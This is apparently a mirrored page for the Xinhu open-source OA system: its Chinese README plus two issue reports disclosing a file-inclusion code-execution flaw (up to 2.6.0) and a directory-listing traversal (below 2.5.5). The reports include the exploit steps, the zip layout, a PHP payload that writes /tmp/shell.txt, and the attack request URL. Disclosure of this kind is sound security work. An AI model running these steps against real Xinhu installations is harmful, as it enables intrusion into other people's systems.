Giter Club home page Giter Club logo

xinhu's Introduction

信呼,免费开源的办公OA系统

开发者:雨中磐石(rainrock)
邮箱:[email protected]
公司团队:信呼开发团队
官网网站:http://www.rockoa.com/
源码仅供学习二次开发使用,禁止二次发布,禁止用于商业用途出售等(违者必究)
版权:Copyright @2016-2024 信呼开发团队
版本整理时间:2024-05-05 23:59:59
版本号:V2.6.3

V2.6.3更新说明

1、完善系统安全性。
2、更多升级日志详见:http://www.rockoa.com/view_core.html

安装说明

1、环境要求:可以运行在Win/Linux系统下,php5.2—7.3,mysql5.3—5.7
2、测试环境搭建详见:http://www.rockoa.com/view_install.html
3、自己手动安装详见:http://www.rockoa.com/view_anzz.html
4、配置文件:webmain/webmainConfig.php,也可到【系统→系统工具→系统设置】下修改
5、打开浏览器访问:http://您的地址/
6、您使用此系统时,请务必遵守我们的开源**,请尊重我们的劳动成果,谢谢!

开发帮助文档

地址:http://www.rockoa.com/help.html

信呼相关产品

1、信呼OA系统(后台/手机网页版/REIM)
2、安卓APP
3、信呼服务端(即时通信,计划任务使用)
4、REIM即时通信PC客户端
5、以上下载地址:http://www.rockoa.com/view_down.html

信呼声明

1、没有一款系统是100%安全,信呼也是如此,任何暴露在公网中的系统,都有数据泄露的风险,一旦您决定将信呼OA部署在公网环境中,请仔细评估可能由此带来的风险,并尽可能的加强安全措施。
2、或许您觉得此系统不好有缺陷或漏洞等,欢迎提意见和您的想法给我们,或者发邮件给我们:[email protected]

声明感谢

系统有用到一些开源的项目,特别感谢他们提供奉献,不分先后顺序。
1、PHP后端语言:http://www.php.net/
2、MySql数据库:https://www.mysql.com/
3、Bootstrap后台样式组件:http://v3.bootcss.com/components/
4、字体图标:http://www.bootcss.com/p/font-awesome/
5、Jquery框架:http://jquery.com/
6、PHPMailer邮件发送组件:https://github.com/PHPMailer/PHPMailer
7、kindeditor富文本编辑器:http://kindeditor.net/
8、pdfjs预览pdf:http://mozilla.github.io/pdf.js/
9、weui手机端框架:https://weui.io/0.4.x/#/
10、phpqrcode生成二维码:http://phpqrcode.sourceforge.net/
11、JPush极光推送:https://www.jiguang.cn/
12、小米推送:https://dev.mi.com/console/appservice/push.html
13、workerman服务端phpsocket框架:http://www.workerman.net/
14、nwjs的PC客户端框架:https://nwjs.io/
15、iconfont图标库:http://www.iconfont.cn/
16、腾讯地图:http://map.qq.com/
16、nodejs:https://nodejs.org/

xinhu's People

Contributors

rainrocka avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

xinhu's Issues

<=2.6.0 version, there is a code execution vulnerability caused by file containing vulnerabilities

Utilization conditions:

  1. Have administrator account privileges with admin id 1

  2. rockinzip is configured as true in /config/config.php

Origin

<= version 2.6.0,in /webmain/system/upgrade/upgradeAction.php

First, format the code

function loadinstallinfoAjax

public function loadinstallinfoAjax()
{
    if (getconfig('systype') == 'demo') return returnerror('演示不要操作');
    if ($this->adminid != 1) return returnerror('不是管理员不要操作');
    $nwsp = $this->get('path');
    if (!$nwsp) {
        $nwsp = '';
    } else {
        $nwsp = $this->jm->base64decode($nwsp);
    }
    if (isempt($nwsp)) return returnerror('无效安装');
    if (is_numeric($nwsp)) {
        $barr = c('xinhuapi')->getdata('other', 'instinfo', array('id' => $nwsp,));
        if (!$barr['success']) return $barr;
        $farr = $barr['data']['farr'];
        $filesize = $barr['data']['filesize'];
    } else {
        if (!getconfig('rockinzip')) return returnerror('系统未开启此功能');
        $farr = c('zip')->zipget($nwsp);
        if (!is_array($farr)) return returnerror($farr);
        $filesize = filesize($nwsp);
    }
    $path = '' . UPDIR . '/logs/' . md5($nwsp) . '';
    $filestr = '';
    $agentstr = '';
    $tablestr = '';
    $menustr = '';
    foreach ($farr as $k => $rs) {
        $_pluj = $rs['filepath'];
        $spath = $path . '/' . $_pluj;
        $conts = $rs['filecontent'];
        if (!contain($_pluj, 'installconfig')) {
            $filestr .= '' . $_pluj . '<br>';
            $fileext = substr($_pluj, -3);
            if ($fileext == 'jpg' || $fileext == 'png' || $fileext == 'gif') {
                if ($conts) $this->rock->createtxt($spath, base64_decode($conts));
            }
        } else {
            $this->rock->createtxt($spath, base64_decode($conts));
        }
    }
    $confpath = $path . '/installconfig/xinhuoa_config.php';
    if (!file_exists($confpath)) return '无效安装包' . $confpath . '';
    $conf = require($confpath);
    $modepath = $path . '/installconfig/xinhuoa_data.json';
    $mysqlpath = $path . '/installconfig/xinhuoa_mysql.json';
    $modestr = '';
    $menuarr = array();
    if (file_exists($modepath)) {
        $dsta = json_decode(file_get_contents($modepath), true);
        if (isset($dsta['mode'])) foreach ($dsta['mode'] as $bh => $info) {
            $modestr .= '' . $info['flow_set']['name'] . '(' . $bh . ') ';
        }
        if (isset($dsta['menu'])) foreach ($dsta['menu'] as $cd => $cdrs) {
            if ($cd > 0) $menustr .= '<div style="margin:5px 0px" class="blank1"></div>';
            $menustr .= '<input class="btn btn-default btn-xs" click="xuancaid,' . $cdrs['id'] . '" type="button" value="选上级菜单"><br>' . $cdrs['name'] . '(' . $cdrs['url'] . ')';
            $menuarr[$cdrs['id']] = '-1';
            if (isset($cdrs['children'])) foreach ($cdrs['children'] as $cd1 => $cdrs1) {
                $menustr .= '<br>&nbsp;┣' . $cdrs1['name'] . '(' . $cdrs1['url'] . ') ';
                if (isset($cdrs1['children'])) foreach ($cdrs1['children'] as $cd2 => $cdrs2) {
                    $menustr .= '<br>&nbsp;&nbsp;┣' . $cdrs2['name'] . '(' . $cdrs2['url'] . ') ';
                }
            }
        }
        if (isset($dsta['yydata'])) foreach ($dsta['yydata'] as $yb => $ybrs) {
            $agentstr .= '<img src="' . $path . '/' . $ybrs['data']['face'] . '" align="absmiddle" width="20px" height="20px">' . $ybrs['data']['name'] . ' ';
        }
    }
    if (file_exists($mysqlpath)) {
        $dstd = json_decode(file_get_contents($mysqlpath), true);
        foreach ($dstd as $dbs => $nse) {
            $tablestr .= ',' . $dbs . '';
        }
    }
    if ($tablestr) $tablestr = substr($tablestr, 1);
    $conf['modestr'] = $modestr;
    $conf['filestr'] = $filestr;
    $conf['tablestr'] = $tablestr;
    $conf['menustr'] = $menustr;
    $conf['agentstr'] = $agentstr;
    $conf['menuarr'] = $menuarr;
    $conf['pathstr'] = $this->jm->base64encode($nwsp);
    $conf['filesizecn'] = $this->rock->formatsize($filesize);
    return returnsuccess($conf);
}

The first utilization condition is that we need to have account permissions with adminid=1

image

When we pass in a get parameter path, this function will base64 decode path and determine whether it is a numeric string. If it is, it will call the API on the official website to download from the plugin market. If it is not, it will determine whether rockinzip is configured in the /config/config.php as true. If it is true, the zipget function will be called for decompression. Therefore, the second utilization condition appears here, which requires the rockinzip value in the config to be true

image

function zipget will unzip the zipfile, but file content will be base64 encode
/include/chajian/zipChajian.php

image

It's okay, because in the loadinstallinfoAjax function, the file content will be decoded below, but the path will be moved to '' . UPDIR . '/logs/' . md5($nwsp) . ''

image

It seems too troublesome, it's okay. There's something interesting coming up below.

When the compressed file is decompressed and moved to (encoded and decoded) '' . UPDIR . '/logs/' . md5($nwsp) . '', it will determine whether there is a $path . '/installconfig/xinhuoa_config.php' file. If there is, it will include

image

How to use

make a zip

|-installconfig
....|-xinhuoa_config.php

put content to xinhuoa_config.php

<?php
file_put_contents("/tmp/shell.txt", "ok");

first, upload this compressed package anywhere and obtain the upload path

image

base64 encode file path

image

request /index.php?a=loadinstallinfo&m=upgrade&d=system&ajaxbool=true&rnd=39613&path=FILE_PATH_BASE64_ENCODE

image

Our code has been executed and/tmp/shell.txt has been written

image

Below version 2.5.5, there is a directory traversal vulnerability

This vulnerability requires ordinary users to log in.
/webmain/system/beifen/beifenAction.php

function getdatssssAjax(line 65 ~ 95)

public function getdatssssAjax()
{
if(getconfig('systype')=='demo')exit('演示请勿操作');
$rows = array();
$folder = $this->post('folder');
$path 	= ''.UPDIR.'/data/'.$folder.'';
$carr 	= c('file')->getfilerows($path);
foreach($carr as $k=>$rs){
	$id 	= $rs['filename'];
	$ids 	= substr($id,0,-5);
	$ida 	= explode('_', $ids);
	$len 	= count($ida);
	$fieldshu = $ida[$len-2];
	$total 	= $ida[$len-1];
	$fields = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id);
	$filepath = $path.'/'.$id.'';
	if(file_exists($filepath)){
		$filesize = filesize($filepath);
		$rows[] = array(
			'fields' 	=> $fields,
			'fieldshu' 	=> $fieldshu,
			'total' 	=> $total,
			'id'		=> $id,
			'filesizecn'=> $this->rock->formatsize($filesize)
		);
	}
}

$arr['rows'] = $rows;
$this->returnjson($arr);
}

The value of $folder is to directly obtain the POST parameter folder, then concatenate it directl to ''.UPDIR.'/data/'.$folder.''; and assign it to $path.

$folder = $this->post('folder');
$path 	= ''.UPDIR.'/data/'.$folder.'';

UPDIR value default is upload(/config/config.php line 40,91):
image

So the default path is /upload/data/+POST ['folder'].

Then pass $path into the getfilerows function to obtain the list of files in the $path

$carr 	= c('file')->getfilerows($path);

The getfilerows function is defined in /include/chajian/fileChajian.php line 289~310, It is used to get all files list in a certain directory.

	public function getfilerows($path)
	{
		$rows	= array();
		if(!is_dir($path))return $rows;
		@$d 	= opendir($path);
		$nyunf	= array('.', '..');
		while( false !== ($file = readdir($d))){
			if(!in_array($file, $nyunf)){
				$filess = $path.'/'.$file;
				if(is_file($filess)){
					$editdt = filectime($filess);//上次修改时间
					$lastdt = filemtime($filess);//最后修改的时间
					$rows[] = array(
						'filename' 	=> $file,
						'editdt' 	=> date('Y-m-d H:i:s', $editdt),
						'lastdt' 	=> date('Y-m-d H:i:s', $lastdt),
					);
				}
			}
		}
		return $rows;
	}

At this point, we can request this location after logging in to obtain a list of files in any folder directory on the server.

image

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.